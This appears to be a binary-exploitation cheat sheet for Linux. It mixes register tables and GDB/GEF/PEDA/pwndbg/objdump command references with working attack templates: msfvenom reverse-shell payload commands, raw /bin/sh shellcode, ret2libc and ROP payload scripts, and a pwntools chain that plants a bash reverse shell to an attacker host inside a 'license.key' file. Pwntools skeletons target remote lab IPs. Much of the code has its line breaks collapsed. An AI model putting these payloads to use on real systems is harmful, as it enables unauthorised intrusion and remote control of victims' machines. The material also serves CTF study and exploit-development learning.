12Binary Exploitation
Linux
Very Basic
- General Purpose Registers (GPRs)
| 32-bit | 64-bit | These registers are used for various arithmetic, logical, and data movement operations. |
|---|---|---|
| EAX | RAX | Accumulator Register Used for arithmetic and logical operations. Stores the return value of functions. In |
| EBX | RBX | Base Register Can store memory addresses in some instructions. |
| ECX | RCX | Counter Register Used as a count value for string operations and shifts/rotations. |
| EDX | RDX | Data Register Often used in Used for I/O operations with |
| ESI | RSI | Source Index Register Points to source data in string operations like Can be used for general-purpose indexing. |
| EDI | RDI | Destination Index Register Used in |
- Stack and Execution Control Registers
| 32-bit | 64-bit | These registers control the flow of execution and stack operations. |
|---|---|---|
| ESP | RSP | Stack Pointer Automatically adjusted by |
| EBP | RBP | Base Pointer Maintains the base address of the current stack frame. |
| EIP | RIP | Instruction Pointer Stores the address of the next instruction to be executed. Changes automatically after executing each instruction. Can be manipulated using |
- Segment Registers
| # | Segment registers store memory segment selectors. |
|---|---|
| CS | Code Segment Points to the segment containing currently executing instructions. |
| DS | Data Segment Points to the segment where data is stored. |
| SS | Stack Segment Points to the segment containing the stack. |
| ES | Extra Segments Additional segment registers used for different purposes. |
- Flags Register (EFLAGS)
| # | The EFLAGS register contains status flags that control operations. |
|---|---|
| CF | Carry Flag Set if an arithmetic operation generates a carry or borrow. |
| ZF | Zero Flag Set if the result of an operation is zero. |
| SF | Sign Flag Set if the result of an operation is negative. |
| OF | Overflow Flag Set if signed arithmetic overflows. |
| PF | Parity Flag Set if the number of set bits in the result is even. |
| DF | Direction Flag Controls string operations ( |
- Special Purpose Registers
| # | These registers are used for specific control and system functions. |
|---|---|
| CR0–CR4 | Control Registers Control processor modes and memory management. |
| GDTR | Global Descriptor Table Register Stores the base address of the GDT. |
| IDTR | Interrupt Descriptor Table Register Stores the base address of the IDT. |
| LDTR | Local Descriptor Table Register Points to the LDT. |
| TR | Task Register Points to the current task state segment (TSS). |
- Create shell code
## ------------------| Windowsmsfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f cmsfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26...BAD_CHARS"msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26...BAD_CHARS"
## ------------------| Linuxmsfvenom -p linux/x86/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f c -b "\x00"
## ------------------| Linux bit 32SHELL_CODE = "\x31\xc0\x50\x68\x2f\x2f\x73"SHELL_CODE += "\x68\x68\x2f\x62\x69\x6e\x89"SHELL_CODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b"SHELL_CODE += "\xcd\x80\x31\xc0\x40\xcd\x80"
## ------------------| Linux bit 64SHELL_CODE = "\x50\x48\x31\xd2\x48\xbb\x2f"SHELL_CODE += "\x62\x69\x6e\x2f\x2f\x73\x68"SHELL_CODE += "\x53\x54\x5f\xb0\x3b\x0f\x05"00 Basic Checks
## ------------------| CPU architecture informationlscpu
## ------------------| I4-64 System Callscat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
## ------------------| checksec infochecksec --file=<FileName> Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled <-- we can't drop shell code and jump to it; so use return to lib.c PIE: No PIE (0x8048000)
## ------------------| Disable ASLR (Address Space Layout Randomization)echo 0 > /proc/sys/kernel/randomize_va_space
## ------------------| Create pattern/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
## ------------------| Check offset value/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_VALUE>- Get all functions
readelf -s BasicOne | grep FUNC01 ret2libc (NX enabled)
## ------------------| Check ASLR changing ?for i in {1..20}; do ldd <FileName> | grep libc; done- Return to
libc** [ ASLR OFF ]**
import struct
# pwndbg + create cyclic + find offsetjunk = "A"*52
# ldd <FileName>| grep libc <-- find the libclibc = 0xb7e19000
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system@@GLIsystem = struct.pack('<I', libc + 0x0003ada0)
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep _exit@@GLIBC <-- It does not really mattersexit = struct.pack('<I',libc + 0x000b07c8)
# strings -atx /lib/i386-linux-gnu/libc.so.6 | grep 'bin/sh'binsh =struct.pack('<I',libc + 0x0015ba0b)
payload = junk + system + exit + binshprint payload- Return to
libc[ ASLR ON (Bruteforce) ]
from subprocess import callimport struct
# pwndbg + create cyclic + find offsetjunk = "A"*112
# ldd <FileName>| grep libc <-- find the libclibc = 0xb75b8000
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system@@GLIsystem = struct.pack('<I', libc + 0x00040310)
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep _exit@@GLIBC <-- It does not really mattersexit = struct.pack('<I',libc + 0x00033290)
# strings -atx /lib/i386-linux-gnu/libc.so.6 | grep 'bin/sh'binsh =struct.pack('<I',libc + 0x00162bac)
buff = junkbuff += systembuff += exitbuff += binsh
for i in range(513): print "Trying: %s" %i ret = call(["/programe/file/path", buff])- Return to
libc[ ASLR ON (if you have access to machine) ]
## ------------------| Get running process memory valuescat /proc/<PID>/maps
## ------------------| Find Variable Values## head -1 /proc/<PID>/maps | awk -F\- '{print "0x"$1}'base = 0x<value>
## grep 'libc' /proc/15922/maps | head -1 | awk -F\- '{print "0x"$1}'libc_base = 0x<value>
## Download the libc file## grep 'libc' /proc/15922/maps | head -1 | awk '{print $NF}' | xargs -I {} cp {} libc.so## objdump -d libc.so | grep system | head -1 | awk '{print $1}'## remove all 00s and replace it 0x. ( usually it's 0x(last 5 digits)libc_system = p64(libc_base + 0x<value>)
## ------------------| Find Gadgets## Install ropperpip install ropper --break-system-packages
## Find RDI## ropper -f libc.so --search "pop rdi; ret"pop_rdi = p64(libc_base + 0x<last 5 digits>)
## Find RDX## ropper -f libc.so --search "pop rdx; ret"pop_rdx = p64(libc_base + 0x<last 5 digits>)
## Find Mov## ropper -f libc.so --search "mov [rdi], rdx"mov = p64(libc_base + 0x<last 5 digits>)
## ------------------| Find writeble mem## readelf -x .data <binary>writable = base + 0x<last 5 digits>
## ------------------| Final sample codefrom pwn import *
offset = 520base = 0x559b1a806000libc_base = 0x7fbc1b8d9000libc_system = p64(libc_base + 0x48e50)
pop_rdi = p64(libc_base + 0x26796)pop_rdx = p64(libc_base + 0xcb1cd)mov = p64(libc_base + 0x3ace5)
writable = base + 0x4000
cmd = b"bash -c 'bash -i >& /dev/tcp/<LHOST>/4545 0>&1'"rop = b"A" * offsetfor i in range(0, len(cmd), 8): rop += pop_rdi rop += p64(writable + i) rop += cmd[i:i+8].ljust(8, b"\x00") rop += mov
rop += pop_rdirop += p64(writable)rop += libc_system
with open('license.key', 'wb') as f: f.write(rop)02 NOP sled (NX disabled)
## ------------------| x86 BitBUF_SIZE = 362
SHELL_CODE = "\x31\xc0\x50\x68\x2f\x2f\x73"SHELL_CODE += "\x68\x68\x2f\x62\x69\x6e\x89"SHELL_CODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b"SHELL_CODE += "\xcd\x80\x31\xc0\x40\xcd\x80"EIP = "?" ## 0xbffff4c0 --> \xc0\xf4\xff\xbf
NOP_SLED = "\x90"*(BUF_SIZE-len(SHELL_CODE))
payload = NOP_SLED + SHELL_CODE + EIPprint payload03 PWNtool Skeletons
ret2libc(32 bit)
#!/usr/bin/python3from pwn import *
context(terminal=['tmux','new-window'])#context(os='linux', arch='i386')
# If programe in local mode#programe = gdb.debug('./myapp','b main')
# IF programe to remote modeprograme = remote('10.10.10.61',32812)
junk = ("A" * 212).encode()
# run gdb one then CTRL+C to brackground then type p systemsystem = p32(0xf7e4c060)
# type p exit on gdbexit = p32(0xf7e3faf0)
# type find &system,+9999999,"sh" on gdb# select one and then type x/s 0xf7f6ddd5binsh = p32(0xf7e3faf0)
#programe.recvuntil('What do you want me to echo back?')programe.recvuntil('Enter Bridge Access Code:')programe.sendline("Something")programe.sendline(junk + system + exit + binsh)
programe.interactive()from pwn import *
#context(terminal=['tmux','new-window'])context(os='linux', arch='amd64')
# Load programe in local modeprograme = gdb.debug('./myapp','b main')
# Load programe to remote modeprograme = remote('10.10.10.147',1337)
junk = ("A" * 112).encode()bin_sh = "/bin/sh\x00".encode()system = p64(0x40116e)pop_r13 = p64(0x401206)null = p64(0x0)test = p64(0x401152)
#programe.recvuntil('What do you want me to echo back?')programe.sendline(junk + bin_sh + pop_r13 + system + null + null + test)programe.interactive()04 GDB
- Basic
## ------------------| Disassembly & Debuggingset disassembly-flavor intel ### Use Intel syntax instead of AT&T.disassemble <function> ### Disassemble a function (or disas <function>).layout asm ### Show an assembly view in TUI mode.layout reg ### Show registers in TUI mode.
## ------------------| Breakpoints & Watchpointsbreak <function> ### Set a breakpoint at a function (or b <function>).break *<address> ### Set a breakpoint at a specific memory address.break <filename>:<line> ### Break at a specific line in a file.info breakpoints ### List all breakpoints (or info b).delete <num> ### Remove a breakpoint (or d <num>).watch <variable> ### Break when a variable's value changes.rwatch <variable> ### Break when a variable is read.
## ------------------| Running & Controlling Executionrun [args] ### Start the program with optional arguments (or r).continue ### Continue execution after a breakpoint (or c).step ### Step into a function call (or s).next ### Step over a function call (or n).finish ### Run until the current function returns.until <address> ### Run until a specific address is reached.kill ### Stop the running program.quit ### Exit GDB.
## ------------------| Examining Registers & Memoryinfo registers ### Show all registers.print $eax ### Show the value of a specific register.x/<n><fmt> <address> ### Examine memory:x/10xw $esp ### Show 10 words in hex from the stack.x/10i <address> ### Show instructions (disassembly).x/20s <address> ### Show strings in memory.
## ------------------| Stack & Function Callsbacktrace ### Show the call stack (or bt).frame <num> ### Switch to a specific stack frame.info args ### Show function arguments.info locals ### Show local variables in the current function.return <value> ### Force a function to return a specific value.
## ------------------| Modifying Executionset {type} <address> = <value> ### Modify memory (Example: set {int}0x804a080 = 1337)set $eax = 0xdeadbeef ### Modify a register.jump *<address> (j *<address>) ### Jump execution to a different address.call system("/bin/sh") ### Call a function manually (e.g., pop a shell).
## ------------------| Searching in Memoryfind <start>, <end>, <pattern> ### Search for a pattern in memory.grep <string> ### Search for text in memory (if GDB supports grep).
## ------------------| Core Dumpsulimit -c unlimited ### Enable core dumps before running the program.gdb <binary> <core> ### Load a core dump for debugging.info threads ### Show threads in the core dump.- Exploit
## ------------------| Find offset#### Get the random chars/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500#### Run the application via gdbgdb <app_name>r <random_chars>#### get the below value## Program received signal SIGSEGV, Segmentation fault.## <get_this_value> in ?? ()/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <value_from_above>
## ------------------| Find EIP#### Run the application using gdbgdb <app_name>r $(python -c 'print "A"*400')x/100x $espx/100x $esp - 400#### Check where the '0x41414141' value is begen.#### Re write as followEIP = "?" ## 0xbffff4c0 --> \xc0\xf4\xff\xbf04.1 GDB-Gef
- Basic
## ------------------| Basic Commandsgef config ### View or modify GEF configurations (e.g., `gef config gef.debug`).run ### Run the program with optional args (same as GDB: `run <args>`).continue ### Resume execution after a breakpoint (same as GDB).next ### Step to the next source line, skipping functions (same as GDB).step ### Step into function calls (same as GDB).finish ### Run until current function returns (same as GDB).break <location> ### Set a breakpoint (e.g., `break main` or `break *0xaddr`), same as GDB.delete <num> ### Delete breakpoint by number (same as GDB).info breakpoints ### List all breakpoints (same as GDB).disassemble <function> ### Disassemble a function (e.g., `disassemble main`), same as GDB but enhanced with GEF context.x/s <address> ### Examine memory as a string (same as GDB).x/10x <address> ### Examine 10 words of memory in hex (same as GDB).x/10i <address> ### Examine 10 instructions at address (same as GDB).
## ------------------| Registers & Contextcontext ### Show registers, stack, code, and more in a colorful layout (GEF-specific).registers ### Display all registers with values (GEF alias, shorter than GDB’s `info registers`).registers rax ### Show value of a specific register (e.g., `rax`)—syntax adjusted for GEF.vmmap ### Display virtual memory mappings of the process (GEF-specific).
## ------------------| Breakpoint & Execution Flowbp <address> ### Set a breakpoint at an address (e.g., `bp 0xdeadbeef`, GEF shorthand for `break *<addr>`).breakpoint-dump ### List all breakpoints with details (GEF-specific, replaces `bpdump`).trace-run ### Trace execution flow or function calls (GEF-specific, replaces `tracecall`).
## ------------------| Exploiting & Debuggingpattern create <length> ### Creates a cyclic pattern of <length> bytes (for buffer overflow exploitation).pattern offset <value> ### Finds the offset of a value in a cyclic pattern.checksec ### Displays security protections (NX, PIE, RELRO, etc.).ropgadget ### Finds ROP gadgets in the binary.elfsymbol ### Lists symbols of the loaded binary.lookup <function> ### Finds addresses of functions/symbols.
## ------------------| Memory & Stack Analysisheap ### Show heap info (chunks, bins, etc.), GEF-specific (replaces `heapinfo`).telescope <address> ### Display memory around an address in a readable format (GEF-specific).- Exploit
## ------------------| load programegdb-gef ./myapp
## ------------------| Run programerunr
## ------------------| Create patternpattern create 200
## ------------------| Search RSP or EIPx/xg $rsppattern offset <RSP Value>### orpattern search $rsppattern search $eippattern search qaaapattern search 0x00007fffffffe288
## ------------------| Show registersregisters04.2 GDB-Peda
- Basic
## ------------------| Basic Commandsrun ### Run the program with optional arguments.continue ### Continue execution after a breakpoint.next ### Step to the next line of code.step ### Step into function calls.finish ### Run until the function returns.break <location> ### Set a breakpoint.delete <num> ### Remove a breakpoint.info breakpoints ### List all breakpoints.disassemble <function> ### Disassemble a function.x/s <address> ### Examine memory as a string.x/10x <address> ### Examine memory in hex (10 words).x/10i <address> ### Examine memory as instructions.
## ------------------| Registers & Contextcontext ### Displays registers, stack, and code.reg ### Shows all registers with values.reg rax ### Show the value of a specific register (e.g., rax).vmmap ### Displays the memory map of the binary.searchmem <value> ### Searches for a value in memory.scanmem <value> ### Search memory for pointers to a given value.stack <num> ### Dumps <num> values from the stack.
## ------------------| Breakpoint & Execution Flowbp <address> ### Set a breakpoint at an address.bpdump ### Dumps all breakpoints.tracecall ### Trace function calls.
## ------------------| Exploiting & Debuggingpattern create <length> ### Creates a cyclic pattern of <length> bytes (for buffer overflow exploitation).pattern offset <value> ### Finds the offset of a value in a cyclic pattern.checksec ### Displays security protections (NX, PIE, RELRO, etc.).ropgadget ### Finds ROP gadgets in the binary.elfsymbol ### Lists symbols of the loaded binary.lookup <function> ### Finds addresses of functions/symbols.
## ------------------| Memory & Stack Analysisheapinfo ### Displays heap information.dumprop ### Dumps ROP gadgets from a binary.find <value> ### Find a value in memory.telescope <address> ### Examine memory around an address.- Exploit
## ------------------| load programegdb-peda ./myapp
## ------------------| Run programerunr
## ------------------| Get memory address on system (!! run programe before get this)p system
## ------------------| Get memory address on bin/sh; get the value on libc : (!! run programe before get this)searchmem /bin/sh
## ------------------| Get memory address on exitp exit04.3 PWNdbg
------------------| Basic Commandsrun ### Run the program with optional arguments.continue ### Continue execution after a breakpoint (abbreviated as c in pwndbg).next ### Step to the next line of code (execute the next instruction without stepping into functions).step ### Step into function calls (execute the next instruction, descending into function calls).break ### Set a breakpoint at a specified location (e.g., break main or break *0xaddress).disassemble ### Display the assembly code for the current function or specified address (enhanced by pwndbg with argument annotation).x ### Examine memory at a specified address (e.g., x/10x $esp for 10 words in hex, improved by pwndbg’s hexdump).info ### Display information about the program (e.g., info registers or info breakpoints, augmented by pwndbg’s context).set ### Modify GDB settings or variables (e.g., set context-output /path/to/file for pwndbg output redirection).config ### Adjust pwndbg-specific parameters (e.g., config to list options like emulation or hexdump settings).context ### Show a summary of execution context (registers, stack, disassembly, etc., auto-triggered by pwndbg on stops).hexdump ### Display a detailed hexdump of memory at a given address (pwndbg’s enhanced version of GDB’s basic memory display).telescope ### Recursively dereference pointers from a memory address (e.g., telescope $esp to inspect stack contents).search ### Search memory for specific values or patterns (e.g., search 0xdeadbeef or search "string").pwndbg ### List all pwndbg-specific commands available in the current session.ida ### Interact with IDA Pro via XMLRPC for synchronized debugging (e.g., ida to query symbols or comments).configfile ### Generate a persistent configuration file for pwndbg settings to include in .gdbinit.themefile ### Generate a persistent theme file for pwndbg to customize display output.05 OBJDump
objdump -D myapp | grep system- Basic
## ------------------| Basic Commandsobjdump -d <binary> ### Disassemble the entire binary.objdump -D <binary> ### Disassemble all sections.objdump -x <binary> ### Display all headers (useful for debugging).objdump -s <binary> ### Display full contents of all sections.objdump -t <binary> ### Show the symbol table of the binary.objdump -r <binary> ### Show relocation entries.objdump -h <binary> ### Display section headers.objdump -p <binary> ### Display the program headers (useful for ELF binaries).objdump -f <binary> ### Display the file header information.
## ------------------| Disassembly & Analysisobjdump -M intel -d <binary> ### Disassemble using Intel syntax.objdump -M intel -D <binary> ### Disassemble all sections with Intel syntax.objdump -M att -d <binary> ### Disassemble using AT&T syntax (default).objdump -C -t <binary> ### Demangle C++ symbols in the symbol table.objdump --syms <binary> ### Display only the symbols from the binary.objdump --section=.text -d <binary> ### Disassemble only the .text section.objdump --start-address=<addr> --stop-address=<addr> -d <binary> ### Disassemble from a specific range of addresses.
## ------------------| ELF & Headers Inspectionobjdump -T <binary> ### Show dynamic symbols (useful for shared libraries).objdump -R <binary> ### Show dynamic relocations (useful for PIE binaries).objdump -j .plt -d <binary> ### Disassemble only the Procedure Linkage Table (PLT).objdump -j .got -s <binary> ### Display the Global Offset Table (GOT).objdump -j .data -s <binary> ### Show contents of the .data section.objdump -j .bss -s <binary> ### Show contents of the .bss section.
## ------------------| Debugging & Reverse Engineeringobjdump --all-headers <binary> ### Show all headers, including ELF sections.objdump --private-headers <binary> ### Show private ELF headers.objdump -drwC <binary> ### Display disassembly with relocations and demangled symbols.objdump -dC --source <binary> ### Disassemble with source code (if available).
## ------------------| Other Useful Commandsobjdump -j <section> -s <binary> ### Display raw data of a specific section.objdump -D --no-show-raw-insn <binary> ### Disassemble but hide raw instructions.objdump -g <binary> ### Display debug sections (if present).